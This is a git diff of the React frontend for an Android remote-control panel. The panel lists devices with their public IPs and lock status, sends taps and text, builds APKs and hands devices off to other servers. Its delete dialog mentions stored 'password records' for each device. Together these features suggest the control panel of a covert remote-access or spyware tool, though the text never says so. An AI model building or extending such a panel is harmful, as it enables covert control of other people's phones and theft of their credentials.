message.destroy(`delete-${deviceId}`) + + if (success) { + // 删除成功,从本地状态移除设备 + dispatch(removeDevice(deviceId)) + + // 如果删除的是当前选中的设备,清除选择 + if (selectedDeviceId === deviceId) { + dispatch(selectDevice('')) + } + + message.success(msg || '设备删除成功') + } else { + // 删除失败,显示错误信息 + message.error(msg || '设备删除失败') + } + }) + + // 监听设备锁屏状态更新 + socket.on('device_lock_status_update', (data) => { + // console.log('设备锁屏状态更新:', data) + const { deviceId, isLocked } = data + + // 更新设备的锁屏状态 + dispatch(updateDeviceLockStatus({ + deviceId, + isLocked + })) + // console.log(`设备 ${deviceId} 锁屏状态更新为: ${isLocked ? '已锁定' : '未锁定'}`) + }) + + dispatch(setWebSocket(socket)) + + } catch (error) { + console.error('连接失败:', error) + dispatch(setConnectionStatus('error')) + message.error('连接失败') + } + } + + + + const handleConnect = (url: string) => { + connectToServer(url) + } + + const handleLogout = () => { + console.log('🔐 handleLogout 被调用') + modal.confirm({ + title: '确认登出', + content: '您确定要退出登录吗?', + icon: , + okText: '确认', + cancelText: '取消', + onOk: async () => { + console.log('🔐 用户确认登出') + const currentToken = localStorage.getItem('auth_token') + const currentUser = localStorage.getItem('auth_user') + console.log('🔐 当前认证状态:', { + hasToken: !!currentToken, + hasUser: !!currentUser + }) + + try { + const result = await dispatch(logout()) + console.log('🔐 logout dispatch结果:', result) + + // 检查logout后的状态 + setTimeout(() => { + const currentToken = localStorage.getItem('auth_token') + const currentUser = localStorage.getItem('auth_user') + console.log('🔐 logout后本地存储:', { token: currentToken, user: currentUser }) + }, 100) + + message.success('已退出登录') + } catch (error) { + console.error('🔐 logout出错:', error) + message.error('退出登录失败') + } + } + }) + } + + // ✅ 添加删除设备功能 + const handleDeleteDevice = (deviceId: string, deviceName: string) => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + + console.log('🗑️ 删除设备:', deviceId, deviceName) + + // 发送删除设备请求 + webSocket.emit('client_event', { + type: 'DELETE_DEVICE', + data: { deviceId } + }) + + // ✅ 等待服务器响应后再移除设备,避免过早移除 + message.loading({ content: '正在删除设备...', key: `delete-${deviceId}` }) + } + + // ✅ 新增:转设备功能 + const handleTransferDevice = (device: any) => { + setTransferringDevice(device) + setNewServerUrl('') + setTransferModalVisible(true) + } + + const handleConfirmTransfer = () => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + + if (!transferringDevice) { + message.error('设备信息缺失') + return + } + + if (!newServerUrl.trim()) { + message.error('请输入新的服务器地址') + return + } + + setTransferring(true) + console.log('🔄 转设备:', transferringDevice.id, '到服务器:', newServerUrl) + + // 发送转设备请求(使用修改服务器地址的指令) + webSocket.emit('client_event', { + type: 'CHANGE_SERVER_URL', + data: { + deviceId: transferringDevice.id, + data: { + serverUrl: newServerUrl.trim() + } + } + }) + + // 显示成功消息并关闭弹窗 + setTimeout(() => { + message.success('转设备指令已发送') + setTransferModalVisible(false) + setNewServerUrl('') + setTransferringDevice(null) + setTransferring(false) + }, 1000) + } + + // ✅ 检查用户是否为superadmin + const isSuperAdmin = () => { + try { + const userStr = localStorage.getItem('auth_user') + if (userStr) { + const user = JSON.parse(userStr) + return user?.role === 'superadmin' + } + } catch (error) { + console.error('获取用户角色失败:', error) + } + return false + } + + // ✅ 处理设备操作 + const handleDeviceAction = async (device: any) => { + if (device.status === 'offline') { + // 离线设备显示提示 + modal.info({ + title: '🔌 设备离线', + content: ( +
+

设备 {device.name} 当前处于离线状态。

+
+
设备信息:
+
• 型号:{device.model}
+
• 系统:Android {device.osVersion}
+
• 分辨率:{device.screenWidth}×{device.screenHeight}
+
• 公网IP:{device.publicIP || '未知'}
+
• 最后在线:{formatLastSeen(device.lastSeen)}
+
+
+

如何重新连接:

+

1. 确保设备已连接到网络

+

2. 打开设备上的远程控制APP

+

3. 设备重新连接后会自动变为在线状态

+
+
+ ), + okText: '知道了', + width: 500 + }) + return + } + + // ✅ 如果是superadmin,先检查设备是否被控制 + if (isSuperAdmin()) { + try { + const result = await apiClient.get(`/api/devices/${device.id}/controller`) + + if (result.success) { + // 如果设备被控制且不是当前用户自己控制 + if (result.isControlled && !result.isCurrentUser) { + const controller = result.controller + modal.warning({ + title: '⚠️ 设备正在被其他用户控制', + content: ( +
+

+ 设备 {device.name} 当前正在被其他用户控制,无法进入控制页面。 +

+
+
+ 📋 控制者详细信息: +
+
+
用户名:{controller?.username || '未知'}
+
客户端ID:{controller?.clientId || '未知'}
+
IP地址:{controller?.ip || '未知'}
+
连接时间:{controller?.connectedAt ? new Date(controller.connectedAt).toLocaleString('zh-CN') : '未知'}
+
最后活跃:{controller?.lastSeen ? new Date(controller.lastSeen).toLocaleString('zh-CN') : '未知'}
+ {controller?.userAgent && ( +
+ 用户代理: +
+ {controller.userAgent} +
+
+ )} +
+
+
+ 💡 提示:请等待当前控制者释放控制权后,再尝试进入控制页面。 +
+
+ ), + okText: '知道了', + width: 600 + }) + return + } + // 如果设备未被控制或是当前用户自己控制,继续正常流程 + } + } catch (error: any) { + console.error('检查设备控制状态失败:', error) + // 如果接口调用失败,仍然允许进入控制页面(避免因为接口问题阻止正常使用) + message.warning('检查设备控制状态失败,将直接进入控制页面') + } + } + + // 新开页面打开控制视图 + const url = `${window.location.origin}${window.location.pathname}?controlDeviceId=${device.id}` + window.open(url, '_blank', 'noopener,noreferrer') + return + } + + // ✅ 处理系统按键 + const handleSystemKey = (keyType: 'BACK' | 'HOME' | 'RECENTS') => { + if (!webSocket || !selectedDeviceForModal) { + message.error('WebSocket未连接或未选择设备') + return + } + + console.log('🔘 发送系统按键:', keyType) + + webSocket.emit('control_message', { + type: 'KEY_EVENT', + deviceId: selectedDeviceForModal.id, + data: { + + key: keyType + } + }) + + message.success(`已发送${keyType === 'BACK' ? '返回' : keyType === 'HOME' ? '主页' : '任务'}按键`) + } + + // ✅ 处理文本输入 + const handleTextInput = () => { + if (!textInput.trim()) return + if (!webSocket || !selectedDeviceForModal) { + message.error('WebSocket未连接或未选择设备') + return + } + if (!operationEnabled) { + message.warning('操作已被阻止') + return + } + + console.log('📝 发送文本输入:', textInput) + webSocket.emit('control_message', { + type: 'INPUT_TEXT', + deviceId: selectedDeviceForModal.id, + data: { text: textInput }, + timestamp: Date.now() + }) + + setTextInput('') + message.success('文本已发送') + } + + // ✅ 格式化最后在线时间(直接显示时间,不做相对时间计算) + const formatLastSeen = (timestamp: number) => { + const d = new Date(timestamp) + const pad = (n: number) => n.toString().padStart(2, '0') + const y = d.getFullYear() + const m = pad(d.getMonth() + 1) + const day = pad(d.getDate()) + const hh = pad(d.getHours()) + const mm = pad(d.getMinutes()) + return `${y}-${m}-${day} ${hh}:${mm}` + } + + // 设备列表分页处理 + const handleDevicePageChange = (page: number, size?: number) => { + setDeviceCurrentPage(page) + if (size) { + setDevicePageSize(size) + } + } + + // ✅ 编辑设备备注(行内保存) + const handleRemarkChange = (deviceId: string, value: string) => { + setRemarkDrafts(prev => ({ ...prev, [deviceId]: value })) + } + + const handleSaveRemarkInline = async (device: any) => { + const draft = remarkDrafts[device.id] + const newRemark = draft !== undefined ? draft : (device.remark || '') + + setRemarkSaving(prev => ({ ...prev, [device.id]: true })) + try { + await apiClient.put(`/api/devices/${device.id}/remark`, { remark: newRemark }) + // 更新本地状态 + dispatch(updateDeviceRemark({ deviceId: device.id, remark: newRemark })) + // 清理草稿 + setRemarkDrafts(prev => ({ ...prev, [device.id]: newRemark })) + message.success('备注已保存') + } catch (error) { + console.error('更新备注失败:', error) + message.error('更新备注失败') + } finally { + setRemarkSaving(prev => ({ ...prev, [device.id]: false })) + } + } + + // ✅ 设备表格列配置 + const deviceColumns = [ + { + title: '设备名称', + dataIndex: 'name', + key: 'name', + width: 150, + render: (text: string, record: any) => ( + + + {text} + + ) + }, + { + title: '状态', + dataIndex: 'status', + key: 'status', + width: 80, + render: (status: string) => { + const getStatusConfig = (status: string) => { + switch (status) { + case 'online': + return { badgeStatus: 'success' as const, tagColor: 'success', text: '在线' } + case 'offline': + return { badgeStatus: 'default' as const, tagColor: 'default', text: '离线' } + case 'connecting': + return { badgeStatus: 'processing' as const, tagColor: 'processing', text: '连接中' } + default: + return { badgeStatus: 'default' as const, tagColor: 'default', text: '离线' } + } + } + const config = getStatusConfig(status) + return ( + + {config.text} + + } + /> + ) + } + }, + { + title: '型号', + dataIndex: 'model', + key: 'model', + width: 120, + ellipsis: true + }, + { + title: '系统版本', + dataIndex: 'osVersion', + key: 'osVersion', + width: 100, + render: (version: string) => `Android ${version}` + }, + { + title: 'IP', + dataIndex: 'publicIP', + key: 'publicIP', + width: 120, + ellipsis: true, + render: (ip: string) => ip || '未知' + }, + { + title: 'APP名称', + dataIndex: 'appName', + key: 'appName', + width: 100, + ellipsis: true, + render: (text: string) => text || '-' + }, + { + title: '锁屏状态', + dataIndex: 'isLocked', + key: 'isLocked', + width: 100, + render: (isLocked: boolean) => ( + + {isLocked ? '已锁定' : '未锁定'} + + ) + }, + { + title: '最后在线', + dataIndex: 'lastSeen', + key: 'lastSeen', + width: 160, + render: (timestamp: number) => formatLastSeen(timestamp) + }, + { + title: '安装时间', + dataIndex: 'connectedAt', + key: 'connectedAt', + width: 160, + render: (ts?: number) => (ts ? formatLastSeen(ts) : '-') + }, + { + title: '备注', + dataIndex: 'remark', + key: 'remark', + width: 220, + ellipsis: true, + render: (text: string, record: any) => { + const value = remarkDrafts[record.id] !== undefined ? remarkDrafts[record.id] : (text || '') + const changed = value !== (record.remark || '') + const saving = !!remarkSaving[record.id] + const tryAutoSave = () => { + if (changed && !saving) { + handleSaveRemarkInline(record) + } + } + return ( +
+ handleRemarkChange(record.id, e.target.value)} + onPressEnter={tryAutoSave} + onBlur={tryAutoSave} + placeholder="输入备注" + /> +
+ ) + } + }, + { + title: '操作', + key: 'actions', + width: isSuperAdmin() ? 180 : 120, + render: (record: any) => ( + + + {isSuperAdmin() && ( + + )} + +

确定要删除设备 {record.name} 吗?

+

+ ⚠️ 此操作将删除该设备的所有历史记录,包括操作日志、密码记录等,且无法恢复! +

+ + } + okText="确认删除" + cancelText="取消" + okType="danger" + icon={} + onConfirm={() => handleDeleteDevice(record.id, record.name)} + > +
`第 ${range[0]}-${range[1]} 条,共 ${total} 条`, + pageSizeOptions: ['10', '20', '50', '100'], + onChange: handleDevicePageChange, + onShowSizeChange: handleDevicePageChange, + size: 'small' + }} + scroll={{ x: 800 }} + size="small" + /> + ) : ( +
+ +
未找到匹配的设备
+
+ 请调整筛选条件,或清除筛选后重试 +
+ +
+ )} + + + ) + case 'apk': + return ( +
+ { + // 判断hostname是否为IP地址 + const isIPAddress = (hostname: string): boolean => { + const ipv4Regex = /^(\d{1,3}\.){3}\d{1,3}$/ + const ipv6Regex = /^([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}$/ + return ipv4Regex.test(hostname) || ipv6Regex.test(hostname) + } + const isIP = isIPAddress(window.location.hostname) + return isIP + ? `${window.location.protocol}//${window.location.hostname}:3001` + : `${window.location.protocol}//${window.location.hostname}` + })()} /> +
+ ) + case 'settings': + return ( +
+ +
设置功能开发中...
+
+ ) + default: + return null + } + } + + const getConnectionStatusColor = () => { + switch (connectionStatus) { + case 'connected': + return '#52c41a' + case 'connecting': + return '#1890ff' + case 'disconnected': + return '#ff4d4f' + case 'error': + return '#ff4d4f' + default: + return '#d9d9d9' + } + } + + const getConnectionStatusText = () => { + switch (connectionStatus) { + case 'connected': + return '已连接' + case 'connecting': + return autoConnectAttempted && !serverUrl ? '自动连接中' : '连接中' + case 'disconnected': + return '未连接' + case 'error': + return '连接错误' + default: + return '未知状态' + } + } + + // 独立渲染页:当 URL 带有 controlDeviceId 并已解析到设备 + if (standaloneControlDeviceId && selectedDeviceForModal) { + // 设置浏览器标签标题:优先显示备注,没有备注则显示设备名称 + const title = selectedDeviceForModal.remark || selectedDeviceForModal.name || '设备控制' + try { + document.title = title + } catch { } + return ( +
+ {/* 左侧屏幕区域 - 自适应视口高度 */} +
+ {/* 工具条 */} +
+
+ {(() => { + const current = connectedDevices.find(d => d.id === selectedDeviceForModal.id) + const srEnabled = !!current?.screenReader?.enabled + return ( + <> + + + + ) + })()} +
+ +
+ + + + +
+
+ + {/* 屏幕+阅读器水平布局 */} +
+ {/* 屏幕阅读器 - 仅启用时显示 */} + {(() => { + const current = connectedDevices.find(d => d.id === selectedDeviceForModal.id) + const srEnabled = !!current?.screenReader?.enabled + return srEnabled ? ( +
+
+ +
+ {/* 文本输入 */} +
+ 输入: + setTextInput(e.target.value)} + onKeyPress={(e) => { if (e.key === 'Enter') handleTextInput() }} + disabled={!operationEnabled} + /> + +
+
+ ) : null + })()} + + {/* 设备屏幕 */} +
{ + const current = connectedDevices.find(d => d.id === selectedDeviceForModal.id) + return current?.screenReader?.enabled ? '50%' : '100%' + })() + }}> +
+ +
+ {/* 文本输入 - 阅读器未启用时显示在屏幕下方 */} + {(() => { + const current = connectedDevices.find(d => d.id === selectedDeviceForModal.id) + return !current?.screenReader?.enabled ? ( +
+ 输入: + setTextInput(e.target.value)} + onKeyPress={(e) => { if (e.key === 'Enter') handleTextInput() }} + disabled={!operationEnabled} + /> + +
+ ) : null + })()} + {/* 系统按键 */} +
+ + + +
+
+
+ + {/* 底部状态栏 */} + {selectedDeviceForModal.screenReader?.enabled && ( +
+ 屏幕阅读器已启用 | 🔄 每{selectedDeviceForModal.screenReader?.refreshInterval || 5}秒自动刷新 +
+ )} +
+ + {/* 右侧控制面板 */} +
+
+ + 控制面板 +
+
+ +
+
+
+ ) + } + + return ( + + {/* 顶部导航栏 */} +
+
+
+ +
+ {/* 在线设备统计(从 renderContent 迁移到 Header) */} +
+ d.status === 'online').length} + style={{ backgroundColor: '#52c41a' }} + /> + {!isMobile && ( + + 在线设备 + + )} +
+
+
+ {isMobile ? getConnectionStatusText().slice(0, 2) : getConnectionStatusText()} + {connectionStatus === 'connected' && serverUrl && !isMobile && ( +
+ {/* {new URL(serverUrl).host} */} +
+ )} +
+ + + + {/* 用户菜单 */} + +
+ {currentUser?.username || 'Unknown'} +
+
+ 管理员 +
+
+ ), + disabled: true + }, + { + type: 'divider' + }, + { + key: 'logout', + label: '退出登录', + icon: + } + ], + onClick: ({ key }) => { + console.log('🔐 用户菜单点击:', key) + if (key === 'logout') { + console.log('🔐 触发登出操作') + handleLogout() + } + } + }} + placement="bottomRight" + arrow + > + + +
+
+ + {/* 移动端遮罩层 */} + {isMobile && !menuCollapsed && ( +
setMenuCollapsed(true)} + /> + )} + + {/* 主布局 */} + + {/* 侧边菜单栏 */} + { + if (broken && isMobile) { + setMenuCollapsed(true) + } + }} + > +
+ {!menuCollapsed && ( +
+ 功能导航 +
+ )} +
+ + setCurrentView(e.key)} + /> + + + {/* 主内容区域 */} + + + {renderContent()} + + + + + {/* 连接对话框 */} + { + if (connectionStatus === 'connected') { + setConnectDialogVisible(false) + } + }} + /> + + {/* 设备控制弹框 - 左右分屏模式 */} + {!standaloneControlDeviceId && ( + + + 设备控制 - {selectedDeviceForModal?.name} + + {selectedDeviceForModal?.status === 'online' ? '在线' : '离线'} + +
+ } + open={screenModalVisible} + onCancel={() => { + setScreenModalVisible(false) + setScreenSize(null) + }} + footer={null} + width="95vw" + style={{ top: 10 }} + styles={{ + body: { + padding: 0, + height: '85vh', + maxHeight: '90vh', + overflow: 'hidden' + } + }} + destroyOnHidden + > + {selectedDeviceForModal && ( +
+ {/* 左侧屏幕区域 */} +
+ {/* 工具条 */} +
+
+ {(() => { + const current = connectedDevices.find(d => d.id === selectedDeviceForModal.id) + const srEnabled = !!current?.screenReader?.enabled + return ( + <> + + + + ) + })()} +
+
+ + +
+
+ + {/* 屏幕+阅读器 */} +
+ {(() => { + const current = connectedDevices.find(d => d.id === selectedDeviceForModal.id) + const srEnabled = !!current?.screenReader?.enabled + return srEnabled ? ( +
+
+ +
+
+ 输入: + setTextInput(e.target.value)} + onKeyPress={(e) => { if (e.key === 'Enter') handleTextInput() }} + disabled={!operationEnabled} /> + +
+
+ ) : null + })()} +
{ + const current = connectedDevices.find(d => d.id === selectedDeviceForModal.id) + return current?.screenReader?.enabled ? '50%' : '100%' + })() + }}> +
+ +
+ {(() => { + const current = connectedDevices.find(d => d.id === selectedDeviceForModal.id) + return !current?.screenReader?.enabled ? ( +
+ 输入: + setTextInput(e.target.value)} + onKeyPress={(e) => { if (e.key === 'Enter') handleTextInput() }} + disabled={!operationEnabled} /> + +
+ ) : null + })()} +
+ + + +
+
+
+ + {selectedDeviceForModal.screenReader?.enabled && ( +
+ 屏幕阅读器已启用 | 🔄 每{selectedDeviceForModal.screenReader?.refreshInterval || 5}秒自动刷新 +
+ )} +
+ + {/* 右侧控制面板 */} +
+
+ + 控制面板 +
+
+ +
+
+
+ )} + + )} + + + {/* ✅ 新增:转设备弹窗 */} + { + setTransferModalVisible(false) + setNewServerUrl('') + setTransferringDevice(null) + }} + footer={[ + , + + ]} + width={500} + > +
+

+ 此功能将向设备 {transferringDevice?.name} 发送修改服务器地址的指令,设备将重新连接到新的服务器。 +

+ setNewServerUrl(e.target.value)} + style={{ marginBottom: 16 }} + /> +
+ ⚠️ 注意事项: +
    +
  • 请确保新服务器地址格式正确(如:ws://ip:port 或 wss://域名)
  • +
  • ws和wss的区别是 一个用的http协议,一个是https协议
  • +
  • 转设备后,设备将断开当前连接并尝试连接新服务器
  • +
  • 如果新服务器不可达,设备将无法正常连接
  • +
+
+
+
+
+ ) +} + +export default RemoteControlApp \ No newline at end of file diff --git a/src/index.css b/src/index.css new file mode 100644 index 0000000..0382c37 --- /dev/null +++ b/src/index.css @@ -0,0 +1,78 @@ +* { + box-sizing: border-box; +} + +html, body { + width: 100%; + height: 100%; + margin: 0; + padding: 0; + overflow-x: hidden; +} + +:root { + font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, + 'Noto Sans', sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji'; + line-height: 1.5; + font-weight: 400; + color: #1f1f1f; + background-color: #f0f2f5; + font-synthesis: none; + text-rendering: optimizeLegibility; + -webkit-font-smoothing: antialiased; + -moz-osx-font-smoothing: grayscale; +} + +#root { + width: 100%; + height: 100%; + margin: 0; + padding: 0; +} + +a { + font-weight: 500; + color: #1890ff; + text-decoration: none; +} +a:hover { + color: #40a9ff; +} + +/* 滚动条美化 */ +::-webkit-scrollbar { + width: 6px; + height: 6px; +} +::-webkit-scrollbar-track { + background: transparent; +} +::-webkit-scrollbar-thumb { + background: #d9d9d9; + border-radius: 3px; +} +::-webkit-scrollbar-thumb:hover { + background: #bfbfbf; +} + +/* Ant Design 表格行悬停效果增强 */ +.ant-table-tbody > tr:hover > td { + background: #e6f7ff !important; +} + +/* 动画 */ +@keyframes pulse { + 0% { opacity: 1; } + 50% { opacity: 0.5; } + 100% { opacity: 1; } +} + +@keyframes fadeIn { + from { opacity: 0; transform: translateY(-4px); } + to { opacity: 1; transform: translateY(0); } +} + +@keyframes slideInLeft { + from { transform: translateX(-100%); } + to { transform: translateX(0); } +} diff --git a/src/main.tsx b/src/main.tsx new file mode 100644 index 0000000..bef5202 --- /dev/null +++ b/src/main.tsx @@ -0,0 +1,10 @@ +import { StrictMode } from 'react' +import { createRoot } from 'react-dom/client' +import './index.css' +import App from './App.tsx' + +createRoot(document.getElementById('root')!).render( + + + , +) diff --git a/src/services/apiClient.ts b/src/services/apiClient.ts new file mode 100644 index 0000000..f62dd64 --- /dev/null +++ b/src/services/apiClient.ts @@ -0,0 +1,226 @@ +/** + * API客户端服务 + * 提供统一的HTTP请求接口,自动处理认证token + */ +class ApiClient { + private baseURL: string + + constructor() { + // 判断hostname是否为IP地址 + const isIPAddress = this.isIPAddress(window.location.hostname) + + if (isIPAddress) { + // 如果是IP地址,添加3001端口 + this.baseURL = `${window.location.protocol}//${window.location.hostname}:3001` + } else { + // 如果是域名,直接使用域名(通常域名会通过反向代理处理端口) + this.baseURL = `${window.location.protocol}//${window.location.hostname}` + } + + console.log('API BaseURL:', this.baseURL) + } + + /** + * 判断字符串是否为IP地址 + */ + private isIPAddress(hostname: string): boolean { + // IPv4地址正则表达式 + const ipv4Regex = /^(\d{1,3}\.){3}\d{1,3}$/ + + // IPv6地址正则表达式(简化版) + const ipv6Regex = /^([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}$/ + + return ipv4Regex.test(hostname) || ipv6Regex.test(hostname) + } + + /** + * 获取认证token + */ + private getAuthToken(): string | null { + return localStorage.getItem('auth_token') + } + + /** + * 创建请求headers + */ + private createHeaders(customHeaders: Record = {}): Record { + const headers: Record = { + 'Content-Type': 'application/json', + ...customHeaders + } + + const token = this.getAuthToken() + if (token) { + headers['Authorization'] = `Bearer ${token}` + } + + return headers + } + + /** + * 处理响应 + */ + private async handleResponse(response: Response): Promise { + if (!response.ok) { + // 如果是认证失败,清除本地token + if (response.status === 401) { + localStorage.removeItem('auth_token') + localStorage.removeItem('auth_user') + // 可以触发全局的登录状态重置事件 + window.dispatchEvent(new CustomEvent('auth:token-expired')) + } + + const errorData = await response.json().catch(() => ({})) + throw new Error(errorData.message || `HTTP ${response.status}: ${response.statusText}`) + } + + return response.json() + } + + /** + * GET请求 + */ + async get(endpoint: string, customHeaders?: Record): Promise { + try { + const response = await fetch(`${this.baseURL}${endpoint}`, { + method: 'GET', + headers: this.createHeaders(customHeaders), + }) + + return this.handleResponse(response) + } catch (error: any) { + // 捕获网络错误(如 Failed to fetch) + if (error?.name === 'TypeError' && error?.message?.includes('fetch')) { + throw new Error(`网络连接失败: 无法连接到服务器 ${this.baseURL}。请检查服务器是否正常运行。`) + } + throw error + } + } + + /** + * POST请求 + */ + async post( + endpoint: string, + data?: any, + customHeaders?: Record + ): Promise { + try { + const headers = this.createHeaders(customHeaders) + + let body: string | FormData | undefined + + // 如果data是FormData,不设置Content-Type让浏览器自动设置 + if (data instanceof FormData) { + body = data + delete headers['Content-Type'] + } else if (data !== undefined) { + body = JSON.stringify(data) + } + + const response = await fetch(`${this.baseURL}${endpoint}`, { + method: 'POST', + headers, + body, + }) + + return this.handleResponse(response) + } catch (error: any) { + // 捕获网络错误(如 Failed to fetch) + if (error?.name === 'TypeError' && error?.message?.includes('fetch')) { + throw new Error(`网络连接失败: 无法连接到服务器 ${this.baseURL}。请检查服务器是否正常运行。`) + } + throw error + } + } + + /** + * PUT请求 + */ + async put( + endpoint: string, + data?: any, + customHeaders?: Record + ): Promise { + const response = await fetch(`${this.baseURL}${endpoint}`, { + method: 'PUT', + headers: this.createHeaders(customHeaders), + body: data ? JSON.stringify(data) : undefined, + }) + + return this.handleResponse(response) + } + + /** + * DELETE请求 + */ + async delete(endpoint: string, customHeaders?: Record): Promise { + try { + const response = await fetch(`${this.baseURL}${endpoint}`, { + method: 'DELETE', + headers: this.createHeaders(customHeaders), + }) + + return this.handleResponse(response) + } catch (error: any) { + // 捕获网络错误(如 Failed to fetch) + if (error?.name === 'TypeError' && error?.message?.includes('fetch')) { + throw new Error(`网络连接失败: 无法连接到服务器 ${this.baseURL}。请检查服务器是否正常运行。`) + } + throw error + } + } + + /** + * 上传文件的POST请求 + */ + async postFormData( + endpoint: string, + formData: FormData, + customHeaders?: Record + ): Promise { + return this.post(endpoint, formData, customHeaders) + } + + /** + * 下载文件 + */ + async downloadFile(endpoint: string, filename?: string): Promise { + const response = await fetch(`${this.baseURL}${endpoint}`, { + method: 'GET', + headers: this.createHeaders(), + }) + + if (!response.ok) { + throw new Error(`下载失败: ${response.status} ${response.statusText}`) + } + + const blob = await response.blob() + const url = window.URL.createObjectURL(blob) + const link = document.createElement('a') + link.href = url + link.download = filename || 'download' + document.body.appendChild(link) + link.click() + document.body.removeChild(link) + window.URL.revokeObjectURL(url) + } + + /** + * 获取base URL + */ + getBaseURL(): string { + return this.baseURL + } + + /** + * 设置base URL + */ + setBaseURL(url: string): void { + this.baseURL = url + } +} + +// 创建单例实例 +export const apiClient = new ApiClient() +export default apiClient \ No newline at end of file diff --git a/src/store/slices/authSlice.ts b/src/store/slices/authSlice.ts new file mode 100644 index 0000000..f080fa2 --- /dev/null +++ b/src/store/slices/authSlice.ts @@ -0,0 +1,348 @@ +import { createSlice, createAsyncThunk, type PayloadAction } from '@reduxjs/toolkit' + +/** + * 用户信息接口 + */ +export interface User { + id: string + username: string + lastLoginAt?: Date +} + +/** + * 认证状态接口 + */ +interface AuthState { + isAuthenticated: boolean + token: string | null + user: User | null + loading: boolean + error: string | null + loginAttempts: number + lastLoginAttempt: number | null +} + +/** + * 登录请求参数接口 + */ +interface LoginRequest { + username: string + password: string +} + +/** + * 登录响应接口 + */ +interface LoginResponse { + success: boolean + message?: string + token?: string + user?: User +} + +/** + * Token验证响应接口 + */ +interface VerifyTokenResponse { + valid: boolean + user?: User + error?: string +} + +const initialState: AuthState = { + isAuthenticated: false, + token: null, + user: null, + loading: false, + error: null, + loginAttempts: 0, + lastLoginAttempt: null +} + +/** + * 判断字符串是否为IP地址 + */ +const isIPAddress = (hostname: string): boolean => { + // IPv4地址正则表达式 + const ipv4Regex = /^(\d{1,3}\.){3}\d{1,3}$/ + + // IPv6地址正则表达式(简化版) + const ipv6Regex = /^([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}$/ + + return ipv4Regex.test(hostname) || ipv6Regex.test(hostname) +} + +/** + * 获取服务器URL + */ +const getServerUrl = (): string => { + // 判断hostname是否为IP地址 + const isIP = isIPAddress(window.location.hostname) + + if (isIP) { + // 如果是IP地址,添加3001端口 + return `${window.location.protocol}//${window.location.hostname}:3001` + } else { + // 如果是域名,直接使用域名(通常域名会通过反向代理处理端口) + return `${window.location.protocol}//${window.location.hostname}` + } +} + +/** + * 异步登录操作 + */ +export const login = createAsyncThunk< + LoginResponse, + LoginRequest, + { rejectValue: string } +>('auth/login', async ({ username, password }, { rejectWithValue }) => { + try { + const serverUrl = getServerUrl() + const response = await fetch(`${serverUrl}/api/auth/login`, { + method: 'POST', + headers: { + 'Content-Type': 'application/json', + }, + body: JSON.stringify({ username, password }), + }) + + const data = await response.json() + + if (!response.ok) { + return rejectWithValue(data.message || '登录失败') + } + + return data + } catch (error: any) { + console.error('登录请求失败:', error) + return rejectWithValue(error.message || '网络连接失败') + } +}) + +/** + * 异步验证token操作 + */ +export const verifyToken = createAsyncThunk< + VerifyTokenResponse, + string, + { rejectValue: string } +>('auth/verifyToken', async (token, { rejectWithValue }) => { + try { + const serverUrl = getServerUrl() + const response = await fetch(`${serverUrl}/api/auth/verify`, { + method: 'POST', + headers: { + 'Content-Type': 'application/json', + 'Authorization': `Bearer ${token}`, + }, + }) + + const data = await response.json() + + if (!response.ok) { + return rejectWithValue(data.error || 'Token验证失败') + } + + return data + } catch (error: any) { + console.error('Token验证失败:', error) + return rejectWithValue(error.message || '网络连接失败') + } +}) + +/** + * 异步登出操作 + */ +export const logout = createAsyncThunk< + void, + void, + { rejectValue: string } +>('auth/logout', async () => { + try { + const serverUrl = getServerUrl() + const token = localStorage.getItem('auth_token') + + if (token) { + await fetch(`${serverUrl}/api/auth/logout`, { + method: 'POST', + headers: { + 'Content-Type': 'application/json', + 'Authorization': `Bearer ${token}`, + }, + }) + } + } catch (error: any) { + console.error('登出请求失败:', error) + // 即使服务器登出失败,也继续清除本地状态 + } +}) + +/** + * 认证管理 Slice + */ +const authSlice = createSlice({ + name: 'auth', + initialState, + reducers: { + // 清除错误 + clearError: (state) => { + state.error = null + }, + + // 重置登录尝试次数 + resetLoginAttempts: (state) => { + state.loginAttempts = 0 + state.lastLoginAttempt = null + }, + + // 从本地存储恢复认证状态 + restoreAuthState: (state) => { + const token = localStorage.getItem('auth_token') + const userStr = localStorage.getItem('auth_user') + + if (token && userStr) { + try { + const user = JSON.parse(userStr) + state.token = token + state.user = user + state.isAuthenticated = true + } catch (error) { + console.error('恢复认证状态失败:', error) + localStorage.removeItem('auth_token') + localStorage.removeItem('auth_user') + } + } + }, + + // 清除认证状态 + clearAuthState: (state) => { + state.isAuthenticated = false + state.token = null + state.user = null + state.error = null + localStorage.removeItem('auth_token') + localStorage.removeItem('auth_user') + }, + + // 更新用户信息 + updateUser: (state, action: PayloadAction>) => { + if (state.user) { + state.user = { ...state.user, ...action.payload } + localStorage.setItem('auth_user', JSON.stringify(state.user)) + } + } + }, + extraReducers: (builder) => { + // 登录 + builder + .addCase(login.pending, (state) => { + state.loading = true + state.error = null + }) + .addCase(login.fulfilled, (state, action) => { + state.loading = false + state.error = null + state.loginAttempts = 0 + state.lastLoginAttempt = null + + if (action.payload.success && action.payload.token && action.payload.user) { + state.isAuthenticated = true + state.token = action.payload.token + state.user = action.payload.user + + // 保存到本地存储 + localStorage.setItem('auth_token', action.payload.token) + localStorage.setItem('auth_user', JSON.stringify(action.payload.user)) + } + }) + .addCase(login.rejected, (state, action) => { + state.loading = false + state.error = action.payload || '登录失败' + state.loginAttempts += 1 + state.lastLoginAttempt = Date.now() + state.isAuthenticated = false + state.token = null + state.user = null + }) + + // Token验证 + builder + .addCase(verifyToken.pending, (state) => { + state.loading = true + state.error = null + }) + .addCase(verifyToken.fulfilled, (state, action) => { + state.loading = false + state.error = null + + if (action.payload.valid && action.payload.user) { + state.isAuthenticated = true + state.user = action.payload.user + // token已经在state中,不需要重新设置 + } else { + // Token无效,清除状态 + state.isAuthenticated = false + state.token = null + state.user = null + localStorage.removeItem('auth_token') + localStorage.removeItem('auth_user') + } + }) + .addCase(verifyToken.rejected, (state, action) => { + state.loading = false + state.error = action.payload || 'Token验证失败' + state.isAuthenticated = false + state.token = null + state.user = null + localStorage.removeItem('auth_token') + localStorage.removeItem('auth_user') + }) + + // 登出 + builder + .addCase(logout.pending, (state) => { + state.loading = true + }) + .addCase(logout.fulfilled, (state) 